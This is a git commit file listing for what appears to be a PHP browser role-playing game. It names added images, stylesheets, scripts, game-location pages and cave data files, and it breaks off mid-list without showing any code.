static/images/design/chatBtn8.gif | Bin 0 -> 1852 bytes static/images/design/chatBtn80.gif | Bin 0 -> 571 bytes static/images/design/chatBtn9.gif | Bin 0 -> 637 bytes static/images/design/chat_bg.gif | Bin 0 -> 1744 bytes static/images/design/chat_bg_2.jpg | Bin 0 -> 13093 bytes static/images/design/chat_explode.gif | Bin 0 -> 766 bytes static/images/design/lite/1/cap_lit_21.gif | Bin 0 -> 424 bytes .../images/design/lite/1/top_lite_cap_01.gif | Bin 0 -> 873 bytes .../images/design/lite/1/top_lite_cap_08.gif | Bin 0 -> 2442 bytes .../images/design/lite/1/top_lite_cap_11.gif | Bin 0 -> 2743 bytes static/images/design/lite/_lit_20.gif | Bin 0 -> 304 bytes static/images/design/lite/_lit_27.gif | Bin 0 -> 322 bytes static/images/design/lite/_mid_31.png | Bin 0 -> 806 bytes static/images/design/lite/_top_20s.gif | Bin 0 -> 93 bytes static/images/design/lite/_top_24.gif | Bin 0 -> 642 bytes static/images/design/lite/_top_28.gif | Bin 0 -> 642 bytes .../design/lite/abandonedplain/cap_lit_21.gif | Bin 0 -> 411 bytes .../lite/abandonedplain/top_lite_cap_01.gif | Bin 0 -> 925 bytes .../lite/abandonedplain/top_lite_cap_08.gif | Bin 0 -> 3223 bytes .../lite/abandonedplain/top_lite_cap_11.gif | Bin 0 -> 2410 bytes .../lite/angelscity/top_lite_cap_01.gif | Bin 0 -> 908 bytes .../lite/angelscity/top_lite_cap_03.gif | Bin 0 -> 2250 bytes .../lite/angelscity/top_lite_cap_07.gif | Bin 0 -> 458 bytes .../lite/angelscity/top_lite_cap_08.gif | Bin 0 -> 2302 bytes .../lite/angelscity/top_lite_cap_11.gif | Bin 0 -> 1850 bytes .../lite/angelscity/top_lite_cap_21.gif | Bin 0 -> 367 bytes static/images/design/lite/bkf_l_r1_02.gif | Bin 0 -> 679 bytes static/images/design/lite/bkf_l_r1_06.gif | Bin 0 -> 645 bytes .../design/lite/dungeon/top_lite_cap_08.gif | Bin 0 -> 3223 bytes .../images/design/lite/mennu112_04_lite.gif | Bin 0 -> 669 bytes static/images/design/lite/mennu112_06.gif | Bin 0 -> 941 bytes .../images/design/lite/mennu112_06_lite.gif | Bin 0 -> 616 bytes static/images/design/lite/mennu112_09.gif | Bin 0 -> 92 bytes .../design/lite/newcapitalcity/cap_lit_21.gif | Bin 0 -> 401 bytes .../lite/newcapitalcity/mennu112_04_lite.gif | Bin 0 -> 669 bytes .../lite/newcapitalcity/mennu112_06_lite.gif | Bin 0 -> 616 bytes .../design/lite/newcapitalcity/nwc_lit_21.gif | Bin 0 -> 401 bytes .../lite/newcapitalcity/sand_lit_20.gif | Bin 0 -> 304 bytes .../lite/newcapitalcity/top_lite_cap_01.gif | Bin 0 -> 900 bytes .../lite/newcapitalcity/top_lite_cap_07.gif | Bin 0 -> 441 bytes .../lite/newcapitalcity/top_lite_cap_08.gif | Bin 0 -> 2645 bytes .../lite/newcapitalcity/top_lite_cap_11.gif | Bin 0 -> 2743 bytes .../newcapitalcity/top_lite_devils_13.gif | Bin 0 -> 459 bytes .../newcapitalcity/top_lite_devils_15.gif | Bin 0 -> 111 bytes .../lite/newcapitalcity/top_lite_dream_13.gif | Bin 0 -> 459 bytes .../lite/newcapitalcity/top_lite_dream_15.gif | Bin 0 -> 111 bytes .../lite/newcapitalcity/top_lite_dream_18.gif | Bin 0 -> 474 bytes .../newcapitalcity/top_lite_newcap_03.gif | Bin 0 -> 2284 bytes .../newcapitalcity/top_lite_newcap_07.gif | Bin 0 -> 423 bytes .../newcapitalcity/top_lite_newcap_08.gif | Bin 0 -> 2645 bytes .../design/lite/oldcity/top_lite_cap_01.gif | Bin 0 -> 928 bytes .../design/lite/oldcity/top_lite_cap_03.gif | Bin 0 -> 2100 bytes .../design/lite/oldcity/top_lite_cap_07.gif | Bin 0 -> 447 bytes .../design/lite/oldcity/top_lite_cap_08.gif | Bin 0 -> 2578 bytes .../design/lite/oldcity/top_lite_cap_11.gif | Bin 0 -> 2253 bytes .../design/lite/oldcity/top_lite_dream_03.gif | Bin 0 -> 2100 bytes .../design/lite/oldcity/top_lite_dream_11.gif | Bin 0 -> 2253 bytes .../design/lite/oldcity/top_lite_old_01.gif | Bin 0 -> 928 bytes .../design/lite/oldcity/top_lite_old_07.gif | Bin 0 -> 447 bytes .../design/lite/oldcity/top_lite_old_08.gif | Bin 0 -> 2578 bytes static/images/design/lite/sand_top_24.gif | Bin 0 -> 642 bytes static/images/design/lite/top_lite_13.gif | Bin 0 -> 459 bytes static/images/design/lite/top_lite_18.gif | Bin 0 -> 474 bytes static/images/design/lite/top_lite_cap_03.gif | Bin 0 -> 2117 bytes static/images/design/lite/top_lite_cap_07.gif | Bin 0 -> 441 bytes static/images/design/lite/top_lite_cap_15.gif | Bin 0 -> 111 bytes static/images/design/lite/top_lite_low_15.gif | Bin 0 -> 111 bytes static/images/design/lite/top_lite_old_07.gif | Bin 0 -> 447 bytes static/images/desteny.gif | Bin 0 -> 1055 bytes static/images/desteny0.gif | Bin 0 -> 1055 bytes static/images/draw.gif | Bin 0 -> 156 bytes static/images/favicon.ico | Bin 0 -> 1125 bytes static/images/fighttype0.gif | Bin 0 -> 146 bytes static/images/fighttype1.gif | Bin 0 -> 194 bytes static/images/fighttype10.gif | Bin 0 -> 1522 bytes static/images/fighttype11.gif | Bin 0 -> 254 bytes static/images/fighttype2.gif | Bin 0 -> 156 bytes static/images/fighttype20.gif | Bin 0 -> 679 bytes static/images/fighttype2_.gif | Bin 0 -> 258 bytes static/images/fighttype3.gif | Bin 0 -> 194 bytes static/images/fighttype4.gif | Bin 0 -> 254 bytes static/images/fighttype6.gif | Bin 0 -> 168 bytes static/images/fighttype7.gif | Bin 0 -> 254 bytes static/images/fighttype9.gif | Bin 0 -> 1073 bytes static/images/fighttypehidden0.gif | Bin 0 -> 1091 bytes static/images/fightype1_.gif | Bin 0 -> 178 bytes static/images/flag.gif | Bin 0 -> 264 bytes static/images/forgot-password/background.png | Bin 0 -> 486155 bytes static/images/fsleeps0.gif | Bin 0 -> 363 bytes static/images/fsleeps1.gif | Bin 0 -> 362 bytes static/images/g0.gif | Bin 0 -> 336 bytes static/images/g1.gif | Bin 0 -> 544 bytes static/images/glow_pink.gif | Bin 0 -> 656 bytes static/images/herz.gif | Bin 0 -> 193 bytes static/images/hidden.gif | Bin 0 -> 1091 bytes static/images/hp.jpg | Bin 0 -> 12034 bytes static/images/hp2.jpg | Bin 0 -> 11784 bytes static/images/i_marry.gif | Bin 0 -> 1703 bytes static/images/ico_change.gif | Bin 0 -> 1081 bytes static/images/ico_clear_log.gif | Bin 0 -> 1105 bytes static/images/ico_refresh.gif | Bin 0 -> 1089 bytes static/images/index_page/18+.png | Bin 0 -> 5980 bytes static/images/index_page/bottom_menu.png | Bin 0 -> 27595 bytes static/images/index_page/button.png | Bin 0 -> 3976 bytes static/images/index_page/button_blank.gif | Bin 0 -> 98 bytes static/images/index_page/button_hover.png | Bin 0 -> 3412 bytes static/images/index_page/button_pressed.png | Bin 0 -> 2104 bytes static/images/index_page/login_background.png | Bin 0 -> 51397 bytes static/images/index_page/logo.png | Bin 0 -> 495303 bytes static/images/index_page/top_button.png | Bin 0 -> 1890 bytes static/images/index_page/top_button_hover.png | Bin 0 -> 1755 bytes .../images/index_page/top_button_pressed.png | Bin 0 -> 2214 bytes static/images/index_page/top_menu.png | Bin 0 -> 50659 bytes static/images/inf.gif | Bin 0 -> 78 bytes static/images/inf.psd | Bin 0 -> 49126 bytes static/images/itm_ico.psd | Bin 0 -> 27960 bytes static/images/klav_transparent.gif | Bin 0 -> 153 bytes static/images/lead1.gif | Bin 0 -> 1033 bytes static/images/links.gif | Bin 0 -> 56 bytes static/images/loader.gif | Bin 0 -> 155621 bytes static/images/lock.gif | Bin 0 -> 175 bytes static/images/lock.psd | Bin 0 -> 29652 bytes static/images/lock1.gif | Bin 0 -> 175 bytes static/images/lock2.gif | Bin 0 -> 175 bytes static/images/lock3.gif | Bin 0 -> 94 bytes static/images/lock4.gif | Bin 0 -> 85 bytes static/images/logo/290x187.png | Bin 0 -> 52288 bytes static/images/logome1.png | Bin 0 -> 136998 bytes static/images/logome1.psd | Bin 0 -> 825446 bytes static/images/looses.gif | Bin 0 -> 59 bytes static/images/mail1.gif | Bin 0 -> 1074 bytes static/images/mail2.gif | Bin 0 -> 1499 bytes static/images/minus.gif | Bin 0 -> 87 bytes static/images/mlch.gif | Bin 0 -> 343 bytes static/images/new_msg100.png | Bin 0 -> 3532 bytes static/images/offline.gif | Bin 0 -> 90 bytes static/images/oico1.png | Bin 0 -> 1057 bytes static/images/oico2.png | Bin 0 -> 1063 bytes static/images/oico3.png | Bin 0 -> 835 bytes static/images/oico4.png | Bin 0 -> 1217 bytes static/images/plus.gif | Bin 0 -> 89 bytes static/images/podarok.gif | Bin 0 -> 156 bytes static/images/ready.gif | Bin 0 -> 561 bytes static/images/register/18.png | Bin 0 -> 3953 bytes static/images/register/background.png | Bin 0 -> 1124275 bytes static/images/register/border.png | Bin 0 -> 398 bytes static/images/register/bottom_menu.png | Bin 0 -> 31977 bytes static/images/register/button.png | Bin 0 -> 5648 bytes static/images/register/button_hover.png | Bin 0 -> 4675 bytes static/images/register/button_pressed.png | Bin 0 -> 2281 bytes static/images/register/gear.png | Bin 0 -> 4066 bytes static/images/sleep2.gif | Bin 0 -> 160 bytes static/images/sleeps0.gif | Bin 0 -> 343 bytes static/images/stack.gif | Bin 0 -> 207 bytes static/images/travma11.gif | Bin 0 -> 136 bytes static/images/travma2.gif | Bin 0 -> 135 bytes static/images/undrhpmp.jpg | Bin 0 -> 18074 bytes static/images/unstack.gif | Bin 0 -> 134 bytes static/images/up.gif | Bin 0 -> 73 bytes static/images/vip2.gif | Bin 0 -> 1037 bytes static/images/wins.gif | Bin 0 -> 79 bytes static/scripts/ZeroClipboard.js | 361 + static/scripts/base.js | 75 + static/scripts/buttons-engine.js | 496 ++ static/scripts/buttons-reline.js | 256 + static/scripts/chat-engine.js | 1051 +++ static/scripts/chat-engine_0.js | 65 + static/scripts/core.js | 5 + static/scripts/jquery-ui.js | 12 + static/scripts/jquery.js | 6 + static/scripts/jquery.min.js | 2 + static/scripts/jquery.proto.js | 0 static/scripts/jquery.qtip.js | 13 + static/scripts/jquery.times.js | 141 + static/scripts/plugins.js | 40 + static/scripts/user.js | 159 + static/scripts/windows-engine.js | 174 + static/styles/acomplete.css | 6 + static/styles/buttons-css.css | 621 ++ static/styles/buttons-v-h-line.css | 93 + static/styles/core.css | 3 + static/styles/forgot-password.css | 222 + .../images/ui-bg_flat_0_aaaaaa_40x100.png | Bin 0 -> 212 bytes .../images/ui-bg_flat_75_ffffff_40x100.png | Bin 0 -> 208 bytes .../images/ui-bg_glass_55_fbf9ee_1x400.png | Bin 0 -> 335 bytes .../images/ui-bg_glass_65_ffffff_1x400.png | Bin 0 -> 207 bytes .../images/ui-bg_glass_75_dadada_1x400.png | Bin 0 -> 262 bytes .../images/ui-bg_glass_75_e6e6e6_1x400.png | Bin 0 -> 262 bytes .../images/ui-bg_glass_95_fef1ec_1x400.png | Bin 0 -> 332 bytes .../ui-bg_highlight-soft_75_cccccc_1x100.png | Bin 0 -> 280 bytes .../styles/images/ui-icons_222222_256x240.png | Bin 0 -> 6922 bytes .../styles/images/ui-icons_2e83ff_256x240.png | Bin 0 -> 4549 bytes .../styles/images/ui-icons_454545_256x240.png | Bin 0 -> 6992 bytes .../styles/images/ui-icons_888888_256x240.png | Bin 0 -> 6999 bytes .../styles/images/ui-icons_cd0a0a_256x240.png | Bin 0 -> 4549 bytes static/styles/index.css | 2 + static/styles/jquery-ui.css | 1177 +++ static/styles/jquery.qtip.css | 291 + static/styles/library-css.css | 13 + static/styles/main-css.css | 411 + static/styles/main.css | 45 + static/styles/mod/inventory-css.css | 37 + static/styles/register.css | 207 + static/styles/users-info.css | 45 + static/styles/windows-css.css | 91 + store/.htaccess1 | 6 + store/CHANGES.md | 1065 +++ store/adapters/jquery.js | 10 + store/build-config.js | 182 + store/city/img/hram1.png | Bin 0 -> 260805 bytes store/city/img/hram2.gif | Bin 0 -> 248024 bytes store/city/img/hram3.png | Bin 0 -> 229914 bytes store/city/img/index.php | 0 store/city/index.php | 0 store/ckeditor.js | 1084 +++ store/config.js | 10 + store/contents.css | 135 + store/css/_notes/dwsync.xml | 4 + store/css/index.php | 411 + store/css/samples.css | 1640 ++++ store/css/style.css | 47 + store/error.txt | 1 + store/images/back_yellow.gif | Bin 0 -> 43 bytes store/images/bottom.gif | Bin 0 -> 872 bytes store/images/bottom.jpg | Bin 0 -> 50009 bytes store/images/deviz.bmp | Bin 0 -> 93490 bytes store/images/deviz.gif | Bin 0 -> 14530 bytes store/images/flag_dark.gif | Bin 0 -> 1375 bytes store/images/flag_haos.gif | Bin 0 -> 1454 bytes store/images/flag_light.gif | Bin 0 -> 1206 bytes store/images/header_bg.jpg | Bin 0 -> 153766 bytes store/images/icon_artefact.gif | Bin 0 -> 3738 bytes store/images/icon_autors.gif | Bin 0 -> 3946 bytes store/images/icon_body.gif | Bin 0 -> 3099 bytes store/images/icon_comment.gif | Bin 0 -> 3589 bytes store/images/icon_credit.gif | Bin 0 -> 2657 bytes store/images/icon_dark.gif | Bin 0 -> 1821 bytes store/images/icon_epos.gif | Bin 0 -> 4081 bytes store/images/icon_eurocredit.gif | Bin 0 -> 2043 bytes store/images/icon_gorods.gif | Bin 0 -> 5018 bytes store/images/icon_haos.gif | Bin 0 -> 2205 bytes store/images/icon_logo.gif | Bin 0 -> 3099 bytes store/images/icon_logo.jpg | Bin 0 -> 9831 bytes store/images/icon_logo.png | Bin 0 -> 70220 bytes store/images/icon_monstr.gif | Bin 0 -> 5223 bytes store/images/icon_paladin.gif | Bin 0 -> 1612 bytes store/images/icon_paladin1.gif | Bin 0 -> 1602 bytes suppormoder.php | 94 + supportemail.php | 94 + tab.php | 62 + tab.png | Bin 0 -> 313 bytes test.php | 127 + test_cr.php | 21 + test_stats.php | 187 + testbattle.html | 55 + tmp/10133.btl | 1 + tmp/10259.btl | 1 + tmp/10443.btl | 1 + tmp/10467.btl | 1 + tmp/10468.btl | 1 + tmp/10511.btl | 1 + tmp/10559.btl | 1 + tmp/10742.btl | 1 + tmp/10789.btl | 1 + tmp/10872.btl | 1 + tmp/10901.btl | 1 + tmp/11010.btl | 1 + tmp/11038.btl | 1 + tmp/11117.btl | 1 + tmp/11263.btl | 1 + tmp/chat.txt | 1629 ++++ tmp/pma.php | 1254 +++ top.html | 13 + top.php | 338 + top_menu.php | 232 + top_panel.php | 98 + top_ref.php | 26 + topbonus.php | 119 + tournir.php | 79 + tower.php | 172 + towerin.php | 658 ++ towerlog.php | 18 + towerstamp.php | 117 + ul_clan.php | 654 ++ ul_clans.php | 103 + underdesigns/alchcave/cw1.gif | 757 ++ underdesigns/alchcave/cw17.gif | 643 ++ underdesigns/alchcave/cw2.gif | 289 + underdesigns/alchcave/cw27.gif | 267 + underdesigns/alchcave/cw3.gif | Bin 0 -> 12208 bytes underdesigns/alchcave/cw4.gif | Bin 0 -> 8355 bytes underdesigns/alchcave/lsw0.gif | 212 + underdesigns/alchcave/lsw073.gif | 169 + underdesigns/alchcave/lsw1.gif | Bin 0 -> 13036 bytes underdesigns/alchcave/lsw173.gif | Bin 0 -> 12326 bytes underdesigns/alchcave/lsw2.gif | Bin 0 -> 5213 bytes underdesigns/alchcave/lsw3.gif | Bin 0 -> 2955 bytes underdesigns/alchcave/lw1.gif | 252 + underdesigns/alchcave/lw2.gif | 223 + underdesigns/alchcave/lw3.gif | Bin 0 -> 12297 bytes underdesigns/alchcave/lw4.gif | Bin 0 -> 7965 bytes underdesigns/alchcave/podzem.jpg | Bin 0 -> 71292 bytes underdesigns/alchcave/rn5.gif | Bin 0 -> 4575 bytes underdesigns/alchcave/rsw0.gif | 178 + underdesigns/alchcave/rsw073.gif | 144 + underdesigns/alchcave/rsw1.gif | Bin 0 -> 13010 bytes underdesigns/alchcave/rsw173.gif | Bin 0 -> 12321 bytes underdesigns/alchcave/rsw2.gif | Bin 0 -> 5199 bytes underdesigns/alchcave/rsw3.gif | Bin 0 -> 2936 bytes underdesigns/alchcave/rw1.gif | 197 + underdesigns/alchcave/rw2.gif | 210 + underdesigns/alchcave/rw3.gif | Bin 0 -> 10765 bytes underdesigns/alchcave/rw4.gif | Bin 0 -> 8581 bytes underground/connect.php | 27 + underground/objects/621.php | 1 + underground/objects/621/1.php | 13 + underground/objects/621/2.php | 14 + underground/objects/621/3.php | 4 + underground/objects/621/4.php | 0 upgrade_items.php | 369 + upload.php | 23 + upload/ajaxupload.php | 27 + upload/index.php | 22 + upload/js/jquery-1.11.3-jquery.min.js | 6 + upload/js/script.js | 32 + upload/no-image.jpg | Bin 0 -> 6058 bytes upload/style.css | 62 + upload/uploads/fg1.gif | Bin 0 -> 1606 bytes user_anketa.php | 150 + user_gifts.php | 23 + users_online.php | 20 + vip.php | 513 ++ vxod.php | 298 + wall_build.php | 599 ++ whoimin.php | 11 + zamok.php | 945 +++ zavis.php | 44 + zayavka.php | 1227 +++ znahar.php | 324 + 8193 files changed, 183296 insertions(+) create mode 100644 .idea/battles-game.iml create mode 100644 .idea/composerJson.xml create mode 100644 .idea/modules.xml create mode 100644 .idea/vcs.xml create mode 100644 .idea/workspace.xml create mode 100644 11city.php create mode 100644 Database/Exception.php create mode 100644 Database/Mysql.php create mode 100644 Database/Statement.php create mode 100644 Database/db.php create mode 100644 README.md create mode 100644 __modules/clan_modules/kazna.php create mode 100644 __modules/clan_modules/main.php create mode 100644 __modules/clan_panel.php create mode 100644 add_me.php create mode 100644 add_novyj_shmot.php create mode 100644 admin.php create mode 100644 ahero_shop.php create mode 100644 ajax/change_login.php create mode 100644 ajax/clan_log.php create mode 100644 ajax/downgrade_art.php create mode 100644 ajax/fontan_luck.php create mode 100644 ajax/rate_ruins.php create mode 100644 ajax/update_art.php create mode 100644 ajax_hostel.php create mode 100644 akadem.php create mode 100644 aren_of_angels.php create mode 100644 aren_of_angels2.php create mode 100644 ashop.php create mode 100644 backup/logs/battle3259.txt create mode 100644 backup/logs/battle3260.txt create mode 100644 backup/logs/battle3261.txt create mode 100644 backup/logs/battle3262.txt create mode 100644 backup/logs/battle3263.txt create mode 100644 backup/logs/battle3264.txt create mode 100644 backup/logs/battle3265.txt create mode 100644 bank.balans.php create mode 100644 bank.php create mode 100644 bankekr.php create mode 100644 battle.php create mode 100644 bench.php create mode 100644 bench_m.php create mode 100644 bench_s.php create mode 100644 blocknote.php create mode 100644 blog.log create mode 100644 boloto.php create mode 100644 boloto_vxod.php create mode 100644 bots_razmen.php create mode 100644 bottom.html create mode 100644 bt.php create mode 100644 buttons.html create mode 100644 buttons.php create mode 100644 c_forest.php create mode 100644 c_haos.php create mode 100644 c_haos_in.php create mode 100644 c_park.php create mode 100644 canalizaciya.php create mode 100644 canalization_mod.php create mode 100644 cave.php create mode 100644 cave/cave_bots.php create mode 100644 cave/caveitems.php create mode 100644 cave/lose.php create mode 100644 cave/win.php create mode 100644 cavedata.php create mode 100644 cavedata/0-.dat create mode 100644 cavedata/10019-1.dat create mode 100644 cavedata/10019-2.dat create mode 100644 cavedata/10019-3.dat create mode 100644 cavedata/10019-4.dat create mode 100644 cavedata/10022-.dat create mode 100644 cavedata/10022-1.dat create mode 100644 cavedata/10022-2.dat create mode 100644 cavedata/10022-3.dat create mode 100644 cavedata/10022-4.dat create mode 100644 cavedata/10029-1.dat create mode 100644 cavedata/10029-2.dat create mode 100644 cavedata/10029-3.dat create mode 100644 cavedata/10029-4.dat create mode 100644 cavedata/10035-1.dat create mode 100644 cavedata/10035-2.dat create mode 100644 cavedata/10035-3.dat create mode 100644 cavedata/10035-4.dat create mode 100644 cavedata/10036-1.dat create mode 100644 cavedata/10038-1.dat create mode 100644 cavedata/10038-2.dat create mode 100644 cavedata/10038-3.dat create mode 100644 cavedata/10038-4.dat create mode 100644 cavedata/10041-1.dat create mode 100644 cavedata/10041-2.dat create mode 100644 cavedata/10041-3.dat create mode 100644 cavedata/10041-4.dat create mode 100644 cavedata/10044-1.dat create mode 100644 cavedata/10044-2.dat create mode 100644 cavedata/10044-3.dat create mode 100644 cavedata/10044-4.dat create mode 100644 cavedata/10045-1.dat create mode 100644 cavedata/10045-2.dat create mode 100644 cavedata/10045-3.dat create mode 100644 cavedata/10045-4.dat create mode 100644 cavedata/10046-1.dat create mode 100644 cavedata/10046-2.dat create mode 100644 cavedata/10046-3.dat create mode 100644 cavedata/10046-4.dat create mode 100644 cavedata/10048-1.dat create mode 100644 cavedata/10048-2.dat create mode 100644 cavedata/10048-3.dat create mode 100644 cavedata/10048-4.dat create mode 100644 cavedata/10050-1.dat create mode 100644 cavedata/10050-2.dat create mode 100644 cavedata/10050-3.dat create mode 100644 cavedata/10050-4.dat create mode 100644 cavedata/10051-1.dat create mode 100644 cavedata/10051-2.dat create mode 100644 cavedata/10051-3.dat create mode 100644 cavedata/10051-4.dat create mode 100644 cavedata/10055-1.dat create mode 100644 cavedata/10055-2.dat create mode 100644 cavedata/10055-3.dat create mode 100644 cavedata/10055-4.dat create mode 100644 cavedata/10061-1.dat create mode 100644 cavedata/10061-2.dat create mode 100644 cavedata/10061-3.dat create mode 100644 cavedata/10061-4.dat create mode 100644 cavedata/10062-1.dat create mode 100644 cavedata/10062-2.dat create mode 100644 cavedata/10062-3.dat create mode 100644 cavedata/10062-4.dat create mode 100644 cavedata/10063-1.dat create mode 100644 cavedata/10063-2.dat create mode 100644 cavedata/10063-3.dat create mode 100644 cavedata/10063-4.dat create mode 100644 cavedata/10065-1.dat create mode 100644 cavedata/10065-2.dat create mode 100644 cavedata/10065-3.dat create mode 100644 cavedata/10065-4.dat create mode 100644 cavedata/10066-1.dat create mode 100644 cavedata/10066-2.dat create mode 100644 cavedata/10066-3.dat create mode 100644 cavedata/10066-4.dat create mode 100644 cavedata/10067-1.dat create mode 100644 cavedata/10067-2.dat create mode 100644 cavedata/10067-3.dat create mode 100644 cavedata/10067-4.dat create mode 100644 cavedata/10068-1.dat create mode 100644 cavedata/10068-2.dat create mode 100644 cavedata/10068-3.dat create mode 100644 cavedata/10068-4.dat create mode 100644 cavedata/10069-1.dat create mode 100644 cavedata/10069-2.dat create mode 100644 cavedata/10069-3.dat create mode 100644 cavedata/10069-4.dat create mode 100644 cavedata/10071-1.dat create mode 100644 cavedata/10071-2.dat create mode 100644 cavedata/10071-3.dat create mode 100644 cavedata/10071-4.dat create mode 100644 cavedata/10072-1.dat create mode 100644 cavedata/10072-2.dat create mode 100644 cavedata/10072-3.dat create mode 100644 cavedata/10072-4.dat create mode 100644 cavedata/10075-1.dat create mode 100644 cavedata/10075-2.dat create mode 100644 cavedata/10075-3.dat create mode 100644 cavedata/10075-4.dat create mode 100644 cavedata/10079-1.dat create mode 100644 cavedata/10079-2.dat create mode 100644 cavedata/10079-3.dat create mode 100644 cavedata/10079-4.dat create mode 100644 cavedata/10080-1.dat create mode 100644 cavedata/10080-2.dat create mode 100644 cavedata/10080-3.dat create mode 100644 cavedata/10080-4.dat create mode 100644 cavedata/10082-1.dat create mode 100644 cavedata/10082-2.dat create mode 100644 cavedata/10082-3.dat create mode 100644 cavedata/10082-4.dat create mode 100644 cavedata/10084-1.dat create mode 100644 cavedata/10084-2.dat create mode 100644 cavedata/10084-3.dat create mode 100644 cavedata/10084-4.dat create mode 100644 cavedata/10085-1.dat create mode 100644 cavedata/10085-2.dat create mode 100644 cavedata/10085-3.dat create mode 100644 cavedata/10085-4.dat create mode 100644 cavedata/10087-1.dat create mode 100644 cavedata/10087-2.dat create mode 100644 cavedata/10087-3.dat create mode 100644 cavedata/10087-4.dat create mode 100644 cavedata/10091-1.dat create mode 100644 cavedata/10091-2.dat create mode 100644 cavedata/10091-3.dat create mode 100644 cavedata/10091-4.dat create mode 100644 cavedata/10095-1.dat create mode 100644 cavedata/10095-2.dat create mode 100644 cavedata/10095-3.dat create mode 100644 cavedata/10095-4.dat create mode 100644 cavedata/10119-1.dat create mode 100644 cavedata/10119-2.dat create mode 100644 cavedata/10119-3.dat create mode 100644 cavedata/10119-4.dat create mode 100644 cavedata/10122-1.dat create mode 100644 cavedata/10122-2.dat create mode 100644 cavedata/10122-3.dat create mode 100644 cavedata/10122-4.dat create mode 100644 cavedata/10133-1.dat create mode 100644 cavedata/10133-2.dat create mode 100644 cavedata/10133-3.dat create mode 100644 cavedata/10133-4.dat create mode 100644 cavedata/10140-1.dat create mode 100644 cavedata/10140-2.dat create mode 100644 cavedata/10140-3.dat create mode 100644 cavedata/10140-4.dat create mode 100644 cavedata/10142-1.dat create mode 100644 cavedata/10142-2.dat create mode 100644 cavedata/10142-3.dat create mode 100644 cavedata/10142-4.dat create mode 100644 cavedata/10144-1.dat create mode 100644 cavedata/10144-2.dat create mode 100644 cavedata/10144-3.dat create mode 100644 cavedata/10144-4.dat create mode 100644 cavedata/10149-1.dat create mode 100644 cavedata/10149-2.dat create mode 100644 cavedata/10149-3.dat create mode 100644 cavedata/10149-4.dat create mode 100644 cavedata/10151-1.dat create mode 100644 cavedata/10151-2.dat create mode 100644 cavedata/10151-3.dat create mode 100644 cavedata/10151-4.dat create mode 100644 cavedata/10155-1.dat create mode 100644 cavedata/10155-2.dat create mode 100644 cavedata/10155-3.dat create mode 100644 cavedata/10155-4.dat create mode 100644 cavedata/10163-1.dat create mode 100644 cavedata/10163-2.dat create mode 100644 cavedata/10163-3.dat create mode 100644 cavedata/10163-4.dat create mode 100644 cavedata/10165-1.dat create mode 100644 cavedata/10165-2.dat create mode 100644 cavedata/10165-3.dat create mode 100644 cavedata/10165-4.dat create mode 100644 cavedata/10205-1.dat create mode 100644 cavedata/10205-2.dat create mode 100644 cavedata/10205-3.dat create mode 100644 cavedata/10205-4.dat create mode 100644 cavedata/10219-1.dat create mode 100644 cavedata/10219-2.dat create mode 100644 cavedata/10219-3.dat create mode 100644 cavedata/10219-4.dat create mode 100644 cavedata/10225-1.dat create mode 100644 cavedata/10225-2.dat create mode 100644 cavedata/10225-3.dat create mode 100644 cavedata/10225-4.dat create mode 100644 cavedata/10240-1.dat create mode 100644 cavedata/10240-2.dat create mode 100644 cavedata/10240-3.dat create mode 100644 cavedata/10240-4.dat create mode 100644 cavedata/10242-1.dat create mode 100644 cavedata/10242-2.dat create mode 100644 cavedata/10242-3.dat create mode 100644 cavedata/10242-4.dat create mode 100644 cavedata/10244-1.dat create mode 100644 cavedata/10244-2.dat create mode 100644 cavedata/10244-3.dat create mode 100644 cavedata/10244-4.dat create mode 100644 cavedata/10245-1.dat create mode 100644 cavedata/10245-2.dat create mode 100644 cavedata/10245-3.dat create mode 100644 cavedata/10245-4.dat create mode 100644 cavedata/10246-1.dat create mode 100644 cavedata/10246-2.dat create mode 100644 cavedata/10246-3.dat create mode 100644 cavedata/10246-4.dat create mode 100644 cavedata/10247-1.dat create mode 100644 cavedata/10247-2.dat create mode 100644 cavedata/10247-3.dat create mode 100644 cavedata/10247-4.dat create mode 100644 cavedata/10248-1.dat create mode 100644 cavedata/10248-2.dat create mode 100644 cavedata/10248-3.dat create mode 100644 cavedata/10248-4.dat create mode 100644 cavedata/10250-1.dat create mode 100644 cavedata/10250-2.dat create mode 100644 cavedata/10250-3.dat create mode 100644 cavedata/10250-4.dat create mode 100644 cavedata/10251-1.dat create mode 100644 cavedata/10251-2.dat create mode 100644 cavedata/10251-3.dat create mode 100644 cavedata/10251-4.dat create mode 100644 cavedata/10253-1.dat create mode 100644 cavedata/10253-2.dat create mode 100644 cavedata/10253-3.dat create mode 100644 cavedata/10253-4.dat create mode 100644 cavedata/10254-1.dat create mode 100644 cavedata/10254-2.dat create mode 100644 cavedata/10254-3.dat create mode 100644 cavedata/10254-4.dat create mode 100644 cavedata/10255-1.dat create mode 100644 cavedata/10255-2.dat create mode 100644 cavedata/10255-3.dat create mode 100644 cavedata/10255-4.dat create mode 100644 cavedata/10256-1.dat create mode 100644 cavedata/10256-2.dat create mode 100644 cavedata/10256-3.dat create mode 100644 cavedata/10256-4.dat create mode 100644 cavedata/10257-1.dat create mode 100644 cavedata/10257-2.dat create mode 100644 cavedata/10257-3.dat create mode 100644 cavedata/10257-4.dat create mode 100644 cavedata/10258-1.dat create mode 100644 cavedata/10258-2.dat create mode 100644 cavedata/10258-3.dat create mode 100644 cavedata/10258-4.dat create mode 100644 cavedata/10259-1.dat create mode 100644 cavedata/10259-2.dat create mode 100644 cavedata/10259-3.dat create mode 100644 cavedata/10259-4.dat create mode 100644 cavedata/10261-1.dat create mode 100644 cavedata/10261-2.dat create mode 100644 cavedata/10261-3.dat create mode 100644 cavedata/10261-4.dat create mode 100644 cavedata/10263-1.dat create mode 100644 cavedata/10263-2.dat create mode 100644 cavedata/10263-3.dat create mode 100644 cavedata/10263-4.dat create mode 100644 cavedata/10267-1.dat create mode 100644 cavedata/10267-2.dat create mode 100644 cavedata/10267-3.dat create mode 100644 cavedata/10267-4.dat create mode 100644 cavedata/10268-1.dat create mode 100644 cavedata/10268-2.dat create mode 100644 cavedata/10268-3.dat create mode 100644 cavedata/10268-4.dat create mode 100644 cavedata/10269-1.dat create mode 100644 cavedata/10269-2.dat create mode 100644 cavedata/10269-3.dat create mode 100644 cavedata/10269-4.dat create mode 100644 cavedata/10271-1.dat create mode 100644 cavedata/10271-2.dat create mode 100644 cavedata/10271-3.dat create mode 100644 cavedata/10271-4.dat create mode 100644 cavedata/10272-1.dat create mode 100644 cavedata/10272-2.dat create mode 100644 cavedata/10272-3.dat create mode 100644 cavedata/10272-4.dat create mode 100644 cavedata/10273-1.dat create mode 100644 cavedata/10273-2.dat create mode 100644 cavedata/10273-3.dat create mode 100644 